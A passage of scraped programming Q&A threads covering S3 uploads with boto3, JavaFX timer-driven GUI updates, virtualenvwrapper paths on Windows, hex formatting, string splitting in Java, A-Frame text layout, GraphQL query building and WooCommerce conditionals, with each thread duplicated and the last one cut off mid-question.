teamName = raw_input("Please enter the name of your project: ")
bucketFolderName = ""

def createS3Folder():
    date = datetime.date.today().strftime("%Y") + "." +
    datetime.date.today().strftime("%B") + "." +
    datetime.date.today().strftime("%d")
    date1 = datetime.date.today()
    date = str(date1) + "/" #In order to generate a file, you must
    put "/" at the end of key
    bucketFolderName = date + teamName + "/"
    client = boto3.client('s3')
    client.put_object(Bucket='MY_BUCKET',Key=bucketFolderName)
    upload_files('/Users/local/directory/to/sync')

def upload_files(path):
    session = boto3.Session()
    s3 = session.resource('s3')
    bucket = s3.Bucket('MY_BUCKET')
    for subdir, dirs, files in os.walk(path):
        for file in files:
            full_path = os.path.join(subdir, file)
            with open(full_path, 'rb') as data:
                bucket.put_object(Key=bucketFolderName, Body=data)

def main():
    createS3Folder()

if __name__ == "__main__":
    main()
</code>```

答:
Your upload_files() function is uploading to:

```<code>bucket.put_object(Key=bucketFolderName, Body=data)
</code>```

This means that the filename ("Key") on S3 will be the name of the 'folder'. It should be:

```<code> bucket.put_object(Key=bucketFolderName + '/' + file, Body=data)
</code>```

The Key is the full path of the destination object, including the filename (not just a 'directory').

In fact, there is no need to create the 'folder' beforehand -- just upload to the desired Key.

If you are feeling lazy, use the AWS Command-Line Interface (CLI) aws s3 sync command to do it for you!

Title: Boto3 folder sync under new S3 'folder'

Body:
So, before anyone tells me about the flat structure of S3, I already know, but the fact is you can create 'folders' in S3. My objective with this Python code is to create a new folder named using the date of running and appending the user's input to this (which is the createS3Folder function) - I then want to sync a folder in a local directory to this folder.

The problem is that my upload_files function creates a new folder in S3 that exactly emulates the folder structure of my local set up.

Can anyone suggest how I would just sync the folder into the newly created one without changing names?

import sys
import boto3
import datetime
import os

teamName = raw_input("Please enter the name of your project: ")
bucketFolderName = ""

def createS3Folder():
    date = datetime.date.today().strftime("%Y") + "." +
    datetime.date.today().strftime("%B") + "." +
    datetime.date.today().strftime("%d")
    date1 = datetime.date.today()
    date = str(date1) + "/" #In order to generate a file, you must
    put "/" at the end of key
    bucketFolderName = date + teamName + "/"
    client = boto3.client('s3')
    client.put_object(Bucket='MY_BUCKET',Key=bucketFolderName)
    upload_files('/Users/local/directory/to/sync')

def upload_files(path):
    session = boto3.Session()
    s3 = session.resource('s3')
    bucket = s3.Bucket('MY_BUCKET')
    for subdir, dirs, files in os.walk(path):
        for file in files:
            full_path = os.path.join(subdir, file)
            with open(full_path, 'rb') as data:
                bucket.put_object(Key=bucketFolderName, Body=data)

def main():
    createS3Folder()

if __name__ == "__main__":
    main()

Body:
Your upload_files() function is uploading to:

bucket.put_object(Key=bucketFolderName, Body=data)

This means that the filename ("Key") on S3 will be the name of the 'folder'. It should be:

 bucket.put_object(Key=bucketFolderName + '/' + file, Body=data)

The Key is the full path of the destination object, including the filename (not just a 'directory').

In fact, there is no need to create the 'folder' beforehand -- just upload to the desired Key.

If you are feeling lazy, use the AWS Command-Line Interface (CLI) aws s3 sync command to do it for you!


问:
Constantly Updating JavaFX GUI
I'm currently working on a project where I convert the time into base 10 time (essentially it will end up displaying a percentage of the day that has passed. ex: 12:00 noon would be displayed as 50.00 in base 10 time). Currently, I know my algorithm is correct since it prints out correctly if I print it to the console, but for some reason, I can't get my GUI to display. If I get rid of the part where I attempt to constantly update the GUI to display the correct numbers, the GUI displays fine, but with no numbers. My code is as follows:

```<code>package ClockPackage;

import java.util.Calendar;
import javafx.application.Application;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.text.Text;
import javafx.stage.Stage;

public class ClockView extends Application {
    Pane background;
    static Text firstDigit;
    static Text secondDigit;
    static Text thirdDigit;
    static Text fourthDigit;
    Text middleDecimal;

    /* Sets the first digit of the base 10 time to the passed through char. */
    static void setFirstDigit(char x1) {
        String digitString = "";
        digitString += x1;
        firstDigit.setText(digitString);
    }

    /* Sets the second digit of the base 10 time to the passed through char. */
    static void setSecondDigit(char x2) {
        String digitString = "";
        digitString += x2;
        secondDigit.setText(digitString);
    }

    /* Sets the third digit of the base 10 time to the passed through char. */
    static void setThirdDigit(char y1) {
        String digitString = "";
        digitString += y1;
        thirdDigit.setText(digitString);
    }

    /* Sets the fourth digit of the base 10 time to the passed through char. */
    static void setFourthDigit(char y2) {
        String digitString = "";
        digitString += y2;
        fourthDigit.setText(digitString);
    }

    /* Main Method that Launches the GUI */
    public static void main(String[] args) {
        Application.launch(args);

    }

    @Override
    public void start(Stage primaryStage) throws Exception {
            final double TEXTFIELD_LAYOUT_Y = 200;

            //Background Pane
            background = new Pane();

            //First digit textField
            firstDigit = new Text();
            firstDigit.setLayoutX(17);
            firstDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            firstDigit.setStyle("-fx-font-size: 96pt;");

            //Second digit textField
            secondDigit = new Text();
            secondDigit.setLayoutX(117);
            secondDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            secondDigit.setStyle("-fx-font-size: 96pt;");

            //Middle decimal
            middleDecimal = new Text(".");
            middleDecimal.setLayoutX(219);
            middleDecimal.setLayoutY(210);
            middleDecimal.setStyle("-fx-font-size: 72pt;");

            //Third digit textField
            thirdDigit = new Text();
            thirdDigit.setLayoutX(250);
            thirdDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            thirdDigit.setStyle("-fx-font-size: 96pt;");

            //Fourth digit textField
            fourthDigit = new Text();
            fourthDigit.setLayoutX(362);
            fourthDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            fourthDigit.setStyle("-fx-font-size: 96pt;");

            /* Adding the Nodes to the Pane */
            background.getChildren().addAll(firstDigit, secondDigit, middleDecimal, thirdDigit, fourthDigit);

            /* Setting the Scene */
            Scene scene = new Scene(background, 470, 258);
            primaryStage.setTitle("Base 10 Clock");
            primaryStage.setScene(scene);
            primaryStage.show();

            /*
             * Calculates the time in base 10 time and calls the 4 methods
             * to set the GUI display.
             *
             * In a constant while loop in order to continuously update
             * the GUI.
             */
            Calendar now;
            double currentTime;
            String timeString;
            long timestamp;
            while(true) {
                /* Sleep for 8.64 seconds since that is how long it is between
                increments of 0.01 in base 10 time. */
                Thread.sleep(8640);
                now = Calendar.getInstance();
                timestamp = now.get(Calendar.HOUR_OF_DAY)*60*60 + now.get(Calendar.MINUTE)*60 + now.get(Calendar.SECOND);
                currentTime = timestamp/86400.0;
                timeString = "" + currentTime;
                setFirstDigit(timeString.charAt(2));
                setSecondDigit(timeString.charAt(3));
                setThirdDigit(timeString.charAt(4));
                setFourthDigit(timeString.charAt(5));
            }
    }
}
</code>```

Does anyone have any idea how I would go about making the GUI both show up and update the numbers constantly? I can't figure out how to get it to do both. I've seen where people use buttons to update data, but I haven't seen where the display is constantly automatically updated.

Thanks!

答:
Here is a working version.</p>

```<code>import java.util.Calendar;
import java.util.Timer;
import java.util.TimerTask;

import javafx.application.Application;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.text.Text;
import javafx.stage.Stage;

public class ClockView extends Application {
    Pane background;
    static Text firstDigit;
    static Text secondDigit;
    static Text thirdDigit;
    static Text fourthDigit;
    Text middleDecimal;

    public final Timer clockTimer = new Timer();

    /* Sets the first digit of the base 10 time to the passed through char. */
    static void setFirstDigit(char x1) {
        String digitString = "";
        digitString += x1;
        firstDigit.setText(digitString);
    }

    /* Sets the second digit of the base 10 time to the passed through char. */
    static void setSecondDigit(char x2) {
        String digitString = "";
        digitString += x2;
        secondDigit.setText(digitString);
    }

    /* Sets the third digit of the base 10 time to the passed through char. */
    static void setThirdDigit(char y1) {
        String digitString = "";
        digitString += y1;
        thirdDigit.setText(digitString);
    }

    /* Sets the fourth digit of the base 10 time to the passed through char. */
    static void setFourthDigit(char y2) {
        String digitString = "";
        digitString += y2;
        fourthDigit.setText(digitString);
    }

    /* Main Method that Launches the GUI */
    public static void main(String[] args) {
        launch(args);
    }

    @Override
    public void start(Stage primaryStage) throws Exception {
        final double TEXTFIELD_LAYOUT_Y = 200;

        //Background Pane
        background = new Pane();

        //First digit textField
        firstDigit = new Text("0");
        firstDigit.setLayoutX(17);
        firstDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        firstDigit.setStyle("-fx-font-size: 96pt;");

        //Second digit textField
        secondDigit = new Text("0");
        secondDigit.setLayoutX(117);
        secondDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        secondDigit.setStyle("-fx-font-size: 96pt;");

        //Middle decimal
        middleDecimal = new Text(".");
        middleDecimal.setLayoutX(219);
        middleDecimal.setLayoutY(210);
        middleDecimal.setStyle("-fx-font-size: 72pt;");

        //Third digit textField
        thirdDigit = new Text("0");
        thirdDigit.setLayoutX(250);
        thirdDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        thirdDigit.setStyle("-fx-font-size: 96pt;");

        //Fourth digit textField
        fourthDigit = new Text("0");
        fourthDigit.setLayoutX(362);
        fourthDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        fourthDigit.setStyle("-fx-font-size: 96pt;");

        /* Adding the Nodes to the Pane */
        background.getChildren().addAll(firstDigit, secondDigit, middleDecimal, thirdDigit, fourthDigit);

        /* Setting the Scene */
        Scene scene = new Scene(new Group(), 470, 258);
        Group root = (Group)scene.getRoot();
        root.getChildren().add(background);
        primaryStage.setTitle("Base 10 Clock");
        primaryStage.setScene(scene);
        primaryStage.show();

        clockTimer.scheduleAtFixedRate(new TimerTask() {

                Calendar now;
                double currentTime;
                String timeString;
                long timestamp;

                @Override
                public void run() {
                    /*
                     * Calculates the time in base 10 time and calls the 4 methods
                     * to set the GUI display.
                     *
                     * In a constant while loop in order to continuously update
                     * the GUI.
                     */
                    now = Calendar.getInstance();
                    timestamp = now.get(Calendar.HOUR_OF_DAY)*60*60 + now.get(Calendar.MINUTE)*60 + now.get(Calendar.SECOND);
                    currentTime = timestamp/86400.0;
                    timeString = "" + currentTime;
                    Platform.runLater(new Runnable() {
                        @Override  public void run() {
                            setFirstDigit(timeString.charAt(2));
                            setSecondDigit(timeString.charAt(3));
                            setThirdDigit(timeString.charAt(4));
                            setFourthDigit(timeString.charAt(5));
                        }
                    });
                }
            }, 0, 8640  // Sleep for 8.64 seconds since that is how long it is between
        );              // increments of 0.01 in base 10 time.
    }
}
</code>```

Title: Constantly Updating JavaFX GUI

Body:
I'm currently working on a project where I convert the time into base 10 time (essentially it will end up displaying a percentage of the day that has passed. ex: 12:00 noon would be displayed as 50.00 in base 10 time). Currently, I know my algorithm is correct since it prints out correctly if I print it to the console, but for some reason, I can't get my GUI to display. If I get rid of the part where I attempt to constantly update the GUI to display the correct numbers, the GUI displays fine, but with no numbers. My code is as follows:

package ClockPackage;

import java.util.Calendar;
import javafx.application.Application;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.text.Text;
import javafx.stage.Stage;

public class ClockView extends Application {
    Pane background;
    static Text firstDigit;
    static Text secondDigit;
    static Text thirdDigit;
    static Text fourthDigit;
    Text middleDecimal;

    /* Sets the first digit of the base 10 time to the passed through char. */
    static void setFirstDigit(char x1) {
        String digitString = "";
        digitString += x1;
        firstDigit.setText(digitString);
    }

    /* Sets the second digit of the base 10 time to the passed through char. */
    static void setSecondDigit(char x2) {
        String digitString = "";
        digitString += x2;
        secondDigit.setText(digitString);
    }

    /* Sets the third digit of the base 10 time to the passed through char. */
    static void setThirdDigit(char y1) {
        String digitString = "";
        digitString += y1;
        thirdDigit.setText(digitString);
    }

    /* Sets the fourth digit of the base 10 time to the passed through char. */
    static void setFourthDigit(char y2) {
        String digitString = "";
        digitString += y2;
        fourthDigit.setText(digitString);
    }

    /* Main Method that Launches the GUI */
    public static void main(String[] args) {
        Application.launch(args);

    }

    @Override
    public void start(Stage primaryStage) throws Exception {
            final double TEXTFIELD_LAYOUT_Y = 200;

            //Background Pane
            background = new Pane();

            //First digit textField
            firstDigit = new Text();
            firstDigit.setLayoutX(17);
            firstDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            firstDigit.setStyle("-fx-font-size: 96pt;");

            //Second digit textField
            secondDigit = new Text();
            secondDigit.setLayoutX(117);
            secondDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            secondDigit.setStyle("-fx-font-size: 96pt;");

            //Middle decimal
            middleDecimal = new Text(".");
            middleDecimal.setLayoutX(219);
            middleDecimal.setLayoutY(210);
            middleDecimal.setStyle("-fx-font-size: 72pt;");

            //Third digit textField
            thirdDigit = new Text();
            thirdDigit.setLayoutX(250);
            thirdDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            thirdDigit.setStyle("-fx-font-size: 96pt;");

            //Fourth digit textField
            fourthDigit = new Text();
            fourthDigit.setLayoutX(362);
            fourthDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
            fourthDigit.setStyle("-fx-font-size: 96pt;");

            /* Adding the Nodes to the Pane */
            background.getChildren().addAll(firstDigit, secondDigit, middleDecimal, thirdDigit, fourthDigit);

            /* Setting the Scene */
            Scene scene = new Scene(background, 470, 258);
            primaryStage.setTitle("Base 10 Clock");
            primaryStage.setScene(scene);
            primaryStage.show();

            /*
             * Calculates the time in base 10 time and calls the 4 methods
             * to set the GUI display.
             *
             * In a constant while loop in order to continuously update
             * the GUI.
             */
            Calendar now;
            double currentTime;
            String timeString;
            long timestamp;
            while(true) {
                /* Sleep for 8.64 seconds since that is how long it is between
                increments of 0.01 in base 10 time. */
                Thread.sleep(8640);
                now = Calendar.getInstance();
                timestamp = now.get(Calendar.HOUR_OF_DAY)*60*60 + now.get(Calendar.MINUTE)*60 + now.get(Calendar.SECOND);
                currentTime = timestamp/86400.0;
                timeString = "" + currentTime;
                setFirstDigit(timeString.charAt(2));
                setSecondDigit(timeString.charAt(3));
                setThirdDigit(timeString.charAt(4));
                setFourthDigit(timeString.charAt(5));
            }
    }
}

Does anyone have any idea how I would go about making the GUI both show up and update the numbers constantly? I can't figure out how to get it to do both. I've seen where people use buttons to update data, but I haven't seen where the display is constantly automatically updated.

Thanks!

Body:
Here is a working version.

import java.util.Calendar;
import java.util.Timer;
import java.util.TimerTask;

import javafx.application.Application;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.text.Text;
import javafx.stage.Stage;

public class ClockView extends Application {
    Pane background;
    static Text firstDigit;
    static Text secondDigit;
    static Text thirdDigit;
    static Text fourthDigit;
    Text middleDecimal;

    public final Timer clockTimer = new Timer();

    /* Sets the first digit of the base 10 time to the passed through char. */
    static void setFirstDigit(char x1) {
        String digitString = "";
        digitString += x1;
        firstDigit.setText(digitString);
    }

    /* Sets the second digit of the base 10 time to the passed through char. */
    static void setSecondDigit(char x2) {
        String digitString = "";
        digitString += x2;
        secondDigit.setText(digitString);
    }

    /* Sets the third digit of the base 10 time to the passed through char. */
    static void setThirdDigit(char y1) {
        String digitString = "";
        digitString += y1;
        thirdDigit.setText(digitString);
    }

    /* Sets the fourth digit of the base 10 time to the passed through char. */
    static void setFourthDigit(char y2) {
        String digitString = "";
        digitString += y2;
        fourthDigit.setText(digitString);
    }

    /* Main Method that Launches the GUI */
    public static void main(String[] args) {
        launch(args);
    }

    @Override
    public void start(Stage primaryStage) throws Exception {
        final double TEXTFIELD_LAYOUT_Y = 200;

        //Background Pane
        background = new Pane();

        //First digit textField
        firstDigit = new Text("0");
        firstDigit.setLayoutX(17);
        firstDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        firstDigit.setStyle("-fx-font-size: 96pt;");

        //Second digit textField
        secondDigit = new Text("0");
        secondDigit.setLayoutX(117);
        secondDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        secondDigit.setStyle("-fx-font-size: 96pt;");

        //Middle decimal
        middleDecimal = new Text(".");
        middleDecimal.setLayoutX(219);
        middleDecimal.setLayoutY(210);
        middleDecimal.setStyle("-fx-font-size: 72pt;");

        //Third digit textField
        thirdDigit = new Text("0");
        thirdDigit.setLayoutX(250);
        thirdDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        thirdDigit.setStyle("-fx-font-size: 96pt;");

        //Fourth digit textField
        fourthDigit = new Text("0");
        fourthDigit.setLayoutX(362);
        fourthDigit.setLayoutY(TEXTFIELD_LAYOUT_Y);
        fourthDigit.setStyle("-fx-font-size: 96pt;");

        /* Adding the Nodes to the Pane */
        background.getChildren().addAll(firstDigit, secondDigit, middleDecimal, thirdDigit, fourthDigit);

        /* Setting the Scene */
        Scene scene = new Scene(new Group(), 470, 258);
        Group root = (Group)scene.getRoot();
        root.getChildren().add(background);
        primaryStage.setTitle("Base 10 Clock");
        primaryStage.setScene(scene);
        primaryStage.show();

        clockTimer.scheduleAtFixedRate(new TimerTask() {

                Calendar now;
                double currentTime;
                String timeString;
                long timestamp;

                @Override
                public void run() {
                    /*
                     * Calculates the time in base 10 time and calls the 4 methods
                     * to set the GUI display.
                     *
                     * In a constant while loop in order to continuously update
                     * the GUI.
                     */
                    now = Calendar.getInstance();
                    timestamp = now.get(Calendar.HOUR_OF_DAY)*60*60 + now.get(Calendar.MINUTE)*60 + now.get(Calendar.SECOND);
                    currentTime = timestamp/86400.0;
                    timeString = "" + currentTime;
                    Platform.runLater(new Runnable() {
                        @Override  public void run() {
                            setFirstDigit(timeString.charAt(2));
                            setSecondDigit(timeString.charAt(3));
                            setThirdDigit(timeString.charAt(4));
                            setFourthDigit(timeString.charAt(5));
                        }
                    });
                }
            }, 0, 8640  // Sleep for 8.64 seconds since that is how long it is between
        );              // increments of 0.01 in base 10 time.
    }
}


问:
Virtualenvwrapper creating project in wrong directory?
I'm extremely new to Python and virtualenv, so I apologize if this is an obvious question.  I've got a C drive and a D drive on my pc running windows 10.  I have the python and scripts path set to the proper location on the D drive.

In console, i did a pip install virtualenv and pip install virtualenvwrapper-win.  After that i navigated to a folder on my  D drive where i want my projects.  When I ran mkvirtualenv HelloWorld, it seems to have created the virtualenvironment in my C:/users/me folder.  Additionally, the virtual env was not activated by default and I was not moved to the correct directory in my console.

How can I ensure that mkvirtualenv creates new virtual environments in the correct folder on my D drive?  And what am I doing wrong to not activate virtual env after creation?

答:
On VirtualEnvWrapper's documentation, they say "optionally":

WORKON_HOME (Optional)

Add an environment variable WORKON_HOME to
  specify the path to store environments. By default, this is
  %USERPROFILE%\Envs.

That %USERPROFILE% part is why you're seeing a directory named Envs created at C:/users/me.

I'm not posting this to act like a know-it-all; this tripped me up too as I just glazed right over it.

I did some research and it turns out in Windows CMD, you can do something like:

```<code>set WORKON_HOME=%cd%
</code>```

where `%cd% is your current directory. You'd think that this would set the environment variable permanently, but no, it doesn't. It's only temporary.

I also tried:

```<code>mkvirtualenv -a C:\Django venv
</code>```

but the path was just ignored and was still created in %USERPROFILE%\Envs.

To set the WORKON_HOME environment variable permanently on your Windows machine, you have to go into the environment variables (search how to get there if you don't know how) and do the following:

After you have set your WORKON_HOME directory, in Windows CMD prompt, you can then do (notice my current path is at C:\Django):

```<code>C:\Django>mkvirtualenv venv
</code>```

This is what will appear on the  screen:

```<code>Using base prefix 'c:\\python35'
New python executable in C:\Django\venv\Scripts\python.exe
Installing setuptools, pip, wheel...done.

(venv) C:\Django>
</code>```

Body:
On VirtualEnvWrapper's documentation, they say "optionally":

WORKON_HOME (Optional)

Add an environment variable WORKON_HOME to
  specify the path to store environments. By default, this is
  %USERPROFILE%\Envs.

That %USERPROFILE% part is why you're seeing a directory named Envs created at C:/users/me.

I'm not posting this to act like a know-it-all; this tripped me up too as I just glazed right over it.

I did some research and it turns out in Windows CMD, you can do something like:

set WORKON_HOME=%cd%

where `%cd% is your current directory. You'd think that this would set the environment variable permanently, but no, it doesn't. It's only temporary.

I also tried:

mkvirtualenv -a C:\Django venv

but the path was just ignored and was still created in %USERPROFILE%\Envs.

To set the WORKON_HOME environment variable permanently on your Windows machine, you have to go into the environment variables (search how to get there if you don't know how) and do the following:

After you have set your WORKON_HOME directory, in Windows CMD prompt, you can then do (notice my current path is at C:\Django):

C:\Django>mkvirtualenv venv

This is what will appear on the  screen:

Using base prefix 'c:\\python35'
New python executable in C:\Django\venv\Scripts\python.exe
Installing setuptools, pip, wheel...done.

(venv) C:\Django>


问:
Displaying Hexadecimal numbers
We would display Hexadecimals in A03Eh format which A=10 & E=14, and A is a nibble. But I have seen another display like this : 0x002314A8 , How can we convert the above number into this format ? what is this format ?</p>

答:
```<code>int a = 0x002314A8;
printf("a = 0x%08X", a);
</code>```

or

```<code>std::out << "a = 0x" << std::hex << std::uppercase << std::setfill('0') << std::setw(8) << std::setprecision(8) << a ;
</code>```

Title: Displaying Hexadecimal numbers

Body:
int a = 0x002314A8;
printf("a = 0x%08X", a);

or

std::out << "a = 0x" << std::hex << std::uppercase << std::setfill('0') << std::setw(8) << std::setprecision(8) << a ;


问:
Putting char into a java string for each N characters
I have a java string, which has a variable length.

I need to put the piece "
" into the string, say each 10 characters.

For example this is my string:

```<code>`this is my string which I need to modify...I love stackoverlow:)`
</code>```

How can I obtain this string?:

```<code>`this is my<br> string wh<br>ich I nee<br>d to modif<br>y...I love<br> stackover<br>flow:)`
</code>```

Thanks

答:
I've unit tested this solution for boundary conditions:

```<code>public String padded(String original, int interval, String separator) {
    String formatted = "";

    for(int i = 0; i < original.length(); i++) {
        if (i % interval == 0 && i > 0) {
            formatted += separator;
        }
        formatted += original.substring(i, i+1);
    }

    return formatted;
}
</code>```

Call with:

```<code>padded("this is my string which I need to modify...I love stackoverflow:)", 10, "<br>");
</code>```

OwnerDisplayName: GIANCARLO

Body:
I have a java string, which has a variable length.

I need to put the piece "
" into the string, say each 10 characters.

For example this is my string:

`this is my string which I need to modify...I love stackoverlow:)`

How can I obtain this string?:

`this is my<br> string wh<br>ich I nee<br>d to modif<br>y...I love<br> stackover<br>flow:)`

Thanks

Body:
I've unit tested this solution for boundary conditions:

public String padded(String original, int interval, String separator) {
    String formatted = "";

    for(int i = 0; i < original.length(); i++) {
        if (i % interval == 0 && i > 0) {
            formatted += separator;
        }
        formatted += original.substring(i, i+1);
    }

    return formatted;
}

Call with:

padded("this is my string which I need to modify...I love stackoverflow:)", 10, "<br>");


问:
How to display a paragraph / block of words using A-Frame?
I am currently developing a tool in my work which will be having augmented reality (AR.js). My problem is that I must display a paragraph of text using A-frame. My question is how to do it?

I am using the  tag in displaying the text. If there is only 1 line of text that I am displaying, I have no difficulty in displaying it but if I have many words and I needed to display it, the lines overlaps with each other.

Here is a sample output of a single line of text:

Here is the output of the paragraph. The lines of the paragraph overlaps with each other.

P.S.

Here is my code. I am separating the paragraph first in a controller to smaller strings that the monitor can display.

```<code>@if (isset($value->words))
    @foreach ($value->words as $key => $words)
        <a-text value="{{ $words }}" rotation="-90 0 0"></a-text>
    @endforeach
@else
    <a-text value="{{ $value->text }}" rotation="-90 0 0"></a-text>
@endif
</code>```

It is in Blade. The $value->words contains the array of strings that has been separated and the $value->text is the original text.

答:
Word layout and Line wrapping only works in the context of a single  tag (https://glitch.com/edit/#!/statuesque-friend?path=index.html:11:29):

It seems that your foreach is generating multiple  tags, one for each word, all in the same position so they overlap. My recommendation is to concatenate all those words on a single string and use a single  or you will have to manually calculate and assign the position to each of them so they don't overlap.

Body:
I am currently developing a tool in my work which will be having augmented reality (AR.js). My problem is that I must display a paragraph of text using A-frame. My question is how to do it?

I am using the  tag in displaying the text. If there is only 1 line of text that I am displaying, I have no difficulty in displaying it but if I have many words and I needed to display it, the lines overlaps with each other.

Here is a sample output of a single line of text:

Here is the output of the paragraph. The lines of the paragraph overlaps with each other.

P.S.

Here is my code. I am separating the paragraph first in a controller to smaller strings that the monitor can display.

@if (isset($value->words))
    @foreach ($value->words as $key => $words)

    @endforeach
@else
    text }}" rotation="-90 0 0">
@endif

It is in Blade. The $value->words contains the array of strings that has been separated and the $value->text is the original text.

Body:
Word layout and Line wrapping only works in the context of a single <a-text> tag (https://glitch.com/edit/#!/statuesque-friend?path=index.html:11:29):

<a-entity position="0 0 -1"
           text="width: 2; lineHeight: 50; letterSpacing: 5; color: white; value: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut enim ad minim veniam">
 </a-entity>

It seems that your foreach is generating multiple <a-text> tags, one for each word, all in the same position so they overlap. My recommendation is to concatenate all those words on a single string and use a single <a-text> or you will have to manually calculate and assign the position to each of them so they don't overlap.


问:
How can I merge 2 dot notation strings to a GraphQL query string
I'm trying to merge 2 dot notation strings into a GrahQL query with only javascript (it can be ES6/typescript).

For example, let say that I have an array of strings

```<code>[
    'firstName',
    'lastName',
    'billing.address.street',
    'billing.address.zip',
    'shipping.address.street',
    'shipping.address.zip'
]
</code>```

The expected query string output would be (white spaces are not important)

firstName, lastName, shipping{address{street, zip}}, billing{address{street, zip }}

I can convert 1 by 1 the dot notation to a query string, but how do I merge all of that together? I got a function that take street.name and output street { name }. So this function would do it

```<code>convertToString(inputString) {
    let result = '';

    if (inputString.indexOf('.') === -1) {
      result = inputString;
    } else {
      const inputArray = inputString.split('.');
      for (let i = inputArray.length - 1; i >= 0; i--) {
        if (i === 0) {
          result = inputArray[i] + result;
        } else {
          result = '{' + inputArray[i] + result + '}';
        }
      }
    }
    return result;
}

console.log(convertToString('address.street')); // address { street }
</code>```

But then how would I loop through all strings and get only 1 GraphQL query string that combines the same properties into a group. The main issue is how do I merge the 2 dot notation strings without losing anything and without having duplicates (at this point, I can get this address { name } address { zip } but when this runs on the GraphQL server, only the latter is kept and so only the zip shows up in the result.

I tried creating temporary object that represent the structure, but that didn't work out so good.

答:
Revised Answer

Based on your revised question and requirements, here's a revised answer. This will recursively build an object from nested dot notations, and then leverage JSON.stringify to build the query string (with some string manipulations);

function buildQuery(...args) {
  const set = (o = {}, a) => {
    const k = a.shift();
    o[k] = a.length ? set(o[k], a) : null;
    return o;
  }

  const o = args.reduce((o, a) => set(o, a.split('.')), {});

  return JSON.stringify(o)
    .replace(/\"|\:|null/g, '')
    .replace(/^\{/, '')
    .replace(/\}$/, '');
}

const query = buildQuery(
  'firstName',
  'lastName',
  'billing.address.street',
  'billing.address.zip',
  'shipping.address.street',
  'shipping.address.zip'
);

console.log(query);```
</div>
</div>
</p>

<p><strong>Original Answer</strong></p>

<p>I would suggest converting the individual dot notation strings into an object first, and then converting the object to a string.</p>

```function buildQuery(...args) {
    let q = {};

    args.forEach((arg) => {
        const [ o, a ] = arg.split('.');
        q[o] = q[o] || [];
        if (a) q[o] = q[o].concat(a);
    });

    return Object.keys(q).map((k) => {
        return q[k].length ? `${k} \{ ${q[k].join(', ')} \}` : k;
    }).join(', ');
}

const query = buildQuery('person.name', 'person.email', 'street.name', 'street.zip');
console.log(query);
// "person { name, email }, street { name, zip }"
```

Body:
I'm trying to merge 2 dot notation strings into a GrahQL query with only javascript (it can be ES6/typescript).

For example, let say that I have an array of strings

[
    'firstName',
    'lastName',
    'billing.address.street',
    'billing.address.zip',
    'shipping.address.street',
    'shipping.address.zip'
]

The expected query string output would be (white spaces are not important)

firstName, lastName, shipping{address{street, zip}}, billing{address{street, zip }}

I can convert 1 by 1 the dot notation to a query string, but how do I merge all of that together? I got a function that take street.name and output street { name }. So this function would do it

convertToString(inputString) {
    let result = '';

    if (inputString.indexOf('.') === -1) {
      result = inputString;
    } else {
      const inputArray = inputString.split('.');
      for (let i = inputArray.length - 1; i >= 0; i--) {
        if (i === 0) {
          result = inputArray[i] + result;
        } else {
          result = '{' + inputArray[i] + result + '}';
        }
      }
    }
    return result;
}

console.log(convertToString('address.street')); // address { street }

But then how would I loop through all strings and get only 1 GraphQL query string that combines the same properties into a group. The main issue is how do I merge the 2 dot notation strings without losing anything and without having duplicates (at this point, I can get this address { name } address { zip } but when this runs on the GraphQL server, only the latter is kept and so only the zip shows up in the result.

I tried creating temporary object that represent the structure, but that didn't work out so good.

Body:
Revised Answer

Based on your revised question and requirements, here's a revised answer. This will recursively build an object from nested dot notations, and then leverage JSON.stringify to build the query string (with some string manipulations);

function buildQuery(...args) {
  const set = (o = {}, a) => {
    const k = a.shift();
    o[k] = a.length ? set(o[k], a) : null;
    return o;
  }

  const o = args.reduce((o, a) => set(o, a.split('.')), {});

  return JSON.stringify(o)
    .replace(/\"|\:|null/g, '')
    .replace(/^\{/, '')
    .replace(/\}$/, '');
}

const query = buildQuery(
  'firstName',
  'lastName',
  'billing.address.street',
  'billing.address.zip',
  'shipping.address.street',
  'shipping.address.zip'
);

console.log(query);

Original Answer

I would suggest converting the individual dot notation strings into an object first, and then converting the object to a string.

function buildQuery(...args) {
    let q = {};

    args.forEach((arg) => {
        const [ o, a ] = arg.split('.');
        q[o] = q[o] || [];
        if (a) q[o] = q[o].concat(a);
    });

    return Object.keys(q).map((k) => {
        return q[k].length ? `${k} \{ ${q[k].join(', ')} \}` : k;
    }).join(', ');
}

const query = buildQuery('person.name', 'person.email', 'street.name', 'street.zip');
console.log(query);
// "person { name, email }, street { name, zip }"


问:
Using multiple WooCommerce conditional tags together in an if statement
I'm having an issue with is_cart(), is_checkout(), is_account_page() functions.

What I'm trying to do:

if it's the Cart page, then echo this shortcode.

if it's NOT the Cart page, then do nothing.

This needs to happen at the top of the page and at the bottom, both outside of the page's container.

When I view the cart, checkout, account pages, it works flawlessly. But as soon as I view any other page that is not the cart/checkout/account page, the shortcode still shows!

The site is using the Divi theme (by ElegantThemes) with WooCommerce.
Here is are the snippets I'm working with:

```<code><?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
 <?php echo do_shortcode('[et_pb_section global_module="218"][/et_pb_section]'); ?>
 <?php endif; ?>
</code>```

```<code><?php endif; ?>
<?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
